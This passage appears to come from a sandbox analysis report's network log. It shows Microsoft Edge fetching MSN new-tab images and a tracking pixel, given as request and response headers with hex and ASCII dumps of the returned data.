74 eb b9 a4 2a 15 8c d6 46 d9 e0 d3 66 cd a5 29 52 a2 52 64 18 1a 44 73 33 9c 3d a4 80 53 Data Ascii: F d0F64d-CK@<9`:h)$R6Yd!eF>?mpSeyaUs%:r#R)O5jL\|E(I%Rgsi<7qQ8}!FIcsh i JT!2qvARwfwcvE<h2Lt*Ff)RRdDs3=S
2024-11-11 18:52:23 UTC	1967	IN	Data Raw: e1 fc cb d6 58 00 6b a8 df 3e 7f 26 72 7f 51 bc 14 b5 03 55 c6 a9 13 1a 44 53 e4 e9 77 3a a0 d2 7b f8 70 1d a0 0e d1 2f 02 c7 ea 29 f4 d3 ea fd 46 6a 39 c0 90 f6 7a 75 6a b4 93 43 cb 27 a2 92 7b 0a a9 04 ba 87 41 69 2b 28 9e d0 00 91 b8 cf d9 b1 b1 10 87 6e 4f 9a 02 2f 9c e1 dc 34 51 08 7c e6 f9 a0 21 0f a1 b2 1f 43 43 20 e2 b5 04 24 a8 cd 36 54 9e 4d cf 2b ae 55 c4 59 ff 00 19 09 24 c1 51 c0 31 2b 92 41 67 99 ea 7a be 94 dc 50 28 5d d3 cd 54 dc 04 80 1e 5a ee f5 b7 4c 8b 82 ca 70 48 a4 0e 03 bc b5 9f 56 e9 29 b2 90 94 83 f5 1f bf da 4b 8f e4 55 9d cb de fc 48 7d 72 9c 62 6b 18 75 69 7d 58 cf 53 ac 23 41 ea 69 b4 67 e7 00 f8 b2 ed 7e 6a d9 d4 8e a4 93 b0 93 07 cc a8 30 07 4d d1 83 07 a8 ff 00 52 7e cc e4 f4 5d 39 fa 7a 88 e2 83 f3 0e 3e 62 f7 46 ea 0b af Data Ascii: Xk>&rQUDSw:{p/)Fj9zujC'{Ai+(nO/4Q\|!CC $6TM+UY$Q1+AgzP(]TZLpHV)KUH}rbkui}XS#Aig~j0MR~]9z>bF
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 3a ed 99 c0 ec d9 30 f0 d2 9f 37 e4 01 f7 6f ad 33 a2 e2 4f ed 05 3b 06 da 49 c5 f9 db b7 55 1a 54 6a a8 26 3e 12 79 7c d9 eb b6 17 01 37 50 23 15 83 3e 61 d2 ad 5d 44 9b 96 f5 85 7c 69 32 39 c2 66 bb de d1 d3 1e 97 e8 c8 69 9e 7b 0c 4e e8 0d c9 b7 89 a7 be cc 78 33 f4 80 63 54 11 81 83 1e 7f 36 eb 76 6e d7 4a 24 2b e3 51 20 7f 0e 7e 0f a3 51 9d 19 4b 54 01 45 2b 60 a8 4c 6d 8c cb 60 4a 7e 28 9c 53 94 6e c5 ee dc b0 a1 1a 8a 13 ab 7e ad 98 81 df 56 09 42 50 47 f9 ce 98 83 d9 26 b3 84 d7 c1 ca 92 65 69 7d 0a 16 82 23 b3 04 d7 51 23 b8 e5 39 66 c7 32 12 4c a4 73 51 cf 61 a9 2e 93 79 12 90 6b 2a 33 33 99 dd 40 7e 6e ee 20 18 82 73 56 7f 6d fc 72 6c 42 35 29 52 01 39 52 29 58 ae f8 64 f4 ca 36 ee 42 89 92 37 8f 1d 83 7c bc e2 7d 38 cc 1d b9 4f 9b db e9 ee 64 Data Ascii: :07o3O;IUTj&>y\|7P#>a]D\|i29fi{Nx3cT6vnJ$+Q ~QKTE+`Lm`J~(Sn~VBPG&ei}#Q#9f2LsQa.yk*33@~n sVmrlB5)R9R)Xd6B7\|}8Od
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 14 07 f7 52 76 0a 12 7c df a3 e8 2f 21 20 85 aa da 7b 55 49 30 40 23 34 d0 c4 41 ac bf 0e 01 d3 53 3b a6 83 07 a3 67 a7 50 04 cc ea c4 c4 0e 06 6a f3 9c a9 02 3d 77 5e b0 ab 5d 2e 82 16 74 99 12 09 c9 39 bf 3a 24 1a 98 3b 23 2f 1c f7 32 54 ab 76 e8 a5 00 7b f8 06 04 dd 27 b2 9b 6a 1f cd 52 39 cb e7 f9 8e b6 4b df 89 a6 95 e2 1e 14 41 05 06 53 8e a3 2a 23 65 3e cc b2 a4 03 5a 03 84 cf 7b f3 b7 12 11 1a 53 07 3f aa 9c a3 bd 87 db 24 82 48 31 13 bd e4 d3 9a bd 54 55 d7 23 d2 2d 08 35 48 41 1c 52 47 38 a3 97 f9 12 04 29 48 fe d3 db 1c 0d 7b 9e 11 ba a4 24 e9 4c 98 cd ad 17 16 10 34 92 15 15 26 b9 d6 03 20 a7 1d dd ad b2 2c 1b c4 dc a4 c7 30 40 ff 00 4d 19 c6 14 91 20 a3 94 cf 98 1e 52 c2 49 0b 01 41 4b 82 27 31 f3 87 28 19 8d 47 f8 c4 f8 2d f5 61 93 b1 b0 17 Data Ascii: Rv\|/! {UI0@#4AS;gPj=w^].t9:$;#/2Tv{'jR9KAS*#e>Z{S?$H1TU#-5HARG8)H{$L4& ,0@M RIAK'1(G-a
2024-11-11 18:52:23 UTC	7952	IN	Data Raw: 8c 9c ea 95 46 dd b8 34 c6 22 a9 39 b1 e4 fc d9 f0 93 49 ab 4a ad 71 e7 1d ee 6d 14 0c 0a 71 c5 99 6c 15 52 32 c2 3c 5c 74 a7 f6 99 dc 59 f6 af a5 39 ca 4f 8b ca 6d d6 11 4b 88 d4 1d 03 2f e1 39 73 13 8f 26 f5 91 70 04 a8 10 45 52 6b 07 6e 5e 0d 42 e2 29 da 0a 13 94 7e 0f b4 a0 a8 fa 6b 8f ed 54 d7 70 9a 1f 78 7c 7c f9 ae 27 4a 78 a0 12 a5 db 5a 4a a1 43 03 8d 69 51 8f 17 a9 d1 ae fe a2 92 46 e3 8a a7 61 70 8b 6b 4c 41 41 34 38 0a 7c 3b b6 e4 dc b4 fa 5a 4e 93 a2 45 49 93 4a 50 cb bd 5c 15 8f 4f 5d 86 c2 d0 48 55 76 7b 86 40 13 8e 9e 25 d2 2f 25 5a 6d c8 13 f4 56 87 97 3d 92 e5 2a 06 a8 03 ff 00 51 23 bd e8 a5 ab 83 39 dc 5a 78 c8 40 49 83 0b 23 7e 7c 2a f8 22 95 51 57 30 3d c3 b4 28 1a 65 8f d6 83 3f ea 0e 5a ce 7a 6d e9 db a8 13 fe d4 3c 5d 94 84 94 61 Data Ascii: F4"9IJqmqlR2<\tY9OmK/9s&pERkn^B)~kTpx\|\|'JxZJCiQFapkLAA48\|;ZNEIJP\O]HUv{@%/%ZmV=Q#9Zx@I#~\|"QW0=(e?Zzm<]a
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: d5 cd 61 35 1a 88 92 90 2b bf 2a 39 cb 5b ba 1d f0 0e eb ae 5b 28 d4 0a 89 06 00 d2 00 f0 98 f2 79 29 be 85 24 a4 85 02 33 8c b6 98 a1 c3 37 7d 55 d2 94 47 ee 38 ec db 57 88 56 b2 20 82 a8 20 1e 5c 0b a4 9d 09 9e 81 37 6c d9 fa 46 a5 18 00 ea 27 85 00 6d 55 c3 73 13 ca 68 07 0d 9b de 28 d1 9d 6b 58 93 00 ee 34 74 9b a9 ce 23 31 cc cb 56 fa 36 20 cb 97 14 92 21 47 bd aa dd d5 15 09 3b 7c 7c db cf a7 42 a4 a8 d3 68 ae df 63 bf cc a2 dd 12 80 37 40 1e 79 97 b6 a8 d6 d6 2a e2 44 ad 49 4a 64 1a c9 33 b8 e0 e5 6e ee 90 4e dd a7 2e 4d 17 2e ea 01 54 93 41 8f 96 c6 ad 29 d2 0e a0 27 c2 1b 4e 2d 67 02 63 2e df 59 a6 a8 1b bb 8b d1 e9 08 16 cc c6 67 1f b0 9f 17 87 ea 00 0d 72 1b 1a 2d de 83 a6 84 01 b3 66 34 dc c7 95 49 07 3b 36 6e 75 0a 04 46 fc 4c 89 c3 c9 90 8b Data Ascii: a5+9[[(y)$37}UG8WV \7lF'mUsh(kX4t#1V6 !G;\|\|Bhc7@yDIJd3nN.M.TA)'N-gc.Ygr-f4I;6nuFL
2024-11-11 18:52:23 UTC	6985	IN	Data Raw: 71 52 4c 48 49 29 c1 d2 94 55 41 90 48 8f c1 e7 b9 42 4a 84 e2 07 9b b6 81 38 89 c7 9b 66 15 0e 80 78 e7 3b b2 6c c2 47 93 52 54 98 c9 c8 94 8a 81 43 8b cc 09 0d be 02 9e 45 ae 46 d8 8c 47 cd ac 95 53 38 3c 5c 44 9c 6a dd 0c 74 8e 6e 68 ce 30 63 12 46 79 ee 75 aa 4b 28 03 0a 13 32 33 d8 e3 0a 06 94 db 3d ce 27 30 73 f7 e4 fb 54 97 34 05 98 19 2a ae 60 1c 61 a8 03 95 3c 9d c2 85 63 26 c6 71 80 7e 6e 52 d7 ae 43 8c b7 42 0e 42 a0 e6 de a0 15 cc 7b e4 c0 06 5b c2 88 34 97 35 90 23 e9 94 55 ac a7 63 2b 23 4f 7d cd 6b e5 9f bc 36 98 10 49 36 d4 14 92 64 78 37 7a ab 22 0a 89 00 ea 01 89 57 34 98 ee 74 d0 59 ea 6d df 55 d4 05 64 64 cc 08 a0 c0 61 bf 6b 70 57 4e 91 f4 9c aa 75 56 77 f6 bc 1e 05 b5 a9 16 a9 31 ac 19 c1 92 56 9b 97 92 8f 85 58 e5 5f b3 cd 60 b2 2b Data Ascii: qRLHI)UAHBJ8fx;lGRTCEFGS8<\Djtnh0cFyuK(23='0sT4*`a<c&q~nRCBB{[45#Uc+#O}k6I6dx7z"W4tYmUddakpWNuVw1VX_`+
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 92 92 0a d6 64 67 02 84 f8 10 fa 62 ef 7b 64 36 c5 7a d1 94 99 cb 21 e0 23 c1 af d6 51 11 8f 12 7c 89 87 05 14 20 4a 50 98 35 f8 8c 8f 37 0f 52 ea 87 61 24 1f ed 49 fb 3d f4 ae 9e a6 67 6a 5e c0 47 9f c9 bf 4d d5 66 20 6f 1a 67 cc 4d 58 e3 f3 b1 09 4d cf 23 e1 2e c5 9e b3 ea d0 ae 24 57 84 b7 f0 f5 82 f3 1a be 21 c3 5d 9e d2 74 d3 14 e7 c9 d9 ea ef ed 57 75 1e 5f e4 fa b2 67 d3 5f 98 fb b6 8e 83 ab 3f f0 d5 1c c7 dd c3 5d bd dc a0 fd 0b b9 3e a1 07 ac bf 19 ab cc fc a1 cb f3 5d 41 13 26 39 9f 99 87 43 f4 fe aa 69 68 9e 6a 48 f3 ab 90 fd 2b ab 38 01 cd 79 79 4b 97 2e c2 fe 5d bf a0 96 ae 22 4d cb 8b f8 e0 f7 b0 cd d5 6a d2 49 83 8c bd e1 fa 3d d3 55 2d 09 e5 27 e4 1d 9f d3 ec a6 8b ea 01 fe 54 fb 4b 95 de ec ad 9a 7e 09 bf b2 2f 4b 30 b5 24 c7 6a a3 6e 54 Data Ascii: dgb{d6z!#Q\| JP57Ra$I=gj^GMf ogMXM#.$W!]tWu_g_?]>]A&9CihjH+8yyK.]"MjI=U-'TK~/K0$jnT
2024-11-11 18:52:23 UTC	16384	IN	Data Raw: 37 5f ff 00 21 50 22 2e 24 52 37 66 0c bc ab 6b d2 76 1d af ad 7c 51 e2 07 b7 45 ed 49 49 b8 82 0e 44 e2 1a 6e 74 f6 ee d2 77 50 e9 03 61 50 8c 1a ba 5b fe b8 aa 04 80 75 4e 44 77 ee c5 e9 1d 01 51 00 67 94 e5 f6 0f cf 6f 4b e6 99 db 6a 4b 27 9a b9 d3 5e 4d b1 4d 44 42 46 9e 79 f9 53 c9 82 ad 68 51 0b fa 93 98 99 7e da 63 e1 94 93 04 8c cf 2c 37 d7 10 c4 5f 48 9b 8b 84 19 d2 3e 98 01 49 9c 01 23 b6 37 1a ec 7b 2e f5 7e 6a f1 30 70 e8 78 b3 93 48 24 1e 18 bd 8b dd 1d cb 73 4d 42 24 6d 8e 5d f1 93 c7 cc be e8 b5 25 8c 98 ec 35 32 1e 8a 14 02 64 e2 f3 40 a0 7a 7e 92 8f 4e a5 e6 12 ad 39 81 14 99 e2 d4 ab 9f 37 40 71 5a 62 00 04 d3 34 d4 8f 7d 8e 60 22 33 d2 60 57 38 9c 23 e6 f3 84 ed fb b6 6a 98 93 40 d6 91 07 ca 47 ee e7 10 38 3a f5 96 93 29 30 4e 67 1f b0 Data Ascii: 7_!P".$R7fkv\|QEIIDntwPaP[uNDwQgoKjK'^MMDBFyShQ~c,7_H>I#7{.~j0pxH$sMB$m]%52d@z~N97@qZb4}`"3`W8#j@G8:)0Ng

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49835	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:23 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 07 Nov 2024 12:58:05 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ba24fde8-14e0-48b8-a3cb-6556d76b4d9b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=65133 Expires: Tue, 12 Nov 2024 12:57:56 GMT Date: Mon, 11 Nov 2024 18:52:23 GMT Connection: close
2024-11-11 18:52:23 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49832	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:23 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=414089 Expires: Sat, 16 Nov 2024 13:53:52 GMT Date: Mon, 11 Nov 2024 18:52:23 GMT Connection: close
2024-11-11 18:52:23 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49834	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:23 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sun, 10 Nov 2024 06:14:35 GMT X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=300182 Expires: Fri, 15 Nov 2024 06:15:25 GMT Date: Mon, 11 Nov 2024 18:52:23 GMT Connection: close
2024-11-11 18:52:23 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49833	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:23 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 16 Oct 2024 13:27:27 GMT X-Datacenter: westus X-ActivityId: e052a22a-abc6-4901-8eb3-22f69d832642 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=110147 Expires: Wed, 13 Nov 2024 01:28:10 GMT Date: Mon, 11 Nov 2024 18:52:23 GMT Connection: close
2024-11-11 18:52:23 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49830	20.110.205.119	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	1271	OUT	GET /c.gif?rnd=1731351140832&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=dd40ff516ac54a66b0e25d85eb9c3226&activityId=dd40ff516ac54a66b0e25d85eb9c3226&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0A49129BE96840A293F384488AC697A4&MUID=11F7061775776D430B031323746E6C70 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=11F7061775776D430B031323746E6C70; _EDGE_S=F=1&SID=182E405C6ED360811A3355686F3761D3; _EDGE_V=1; SM=T
2024-11-11 18:52:23 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=11F7061775776D430B031323746E6C70; domain=.msn.com; expires=Sat, 06-Dec-2025 18:52:23 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=11F7061775776D430B031323746E6C70; domain=c.msn.com; expires=Sat, 06-Dec-2025 18:52:23 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 18-Nov-2024 18:52:23 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 11-Nov-2024 19:02:23 GMT; path=/; SameSite=None; Secure; Date: Mon, 11 Nov 2024 18:52:23 GMT Connection: close Content-Length: 42
2024-11-11 18:52:23 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49836	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:23 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:24 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:14 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: ee99dc34-c4cc-40d2-beb4-909b60878009 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=342615 Expires: Fri, 15 Nov 2024 18:02:38 GMT Date: Mon, 11 Nov 2024 18:52:23 GMT Connection: close
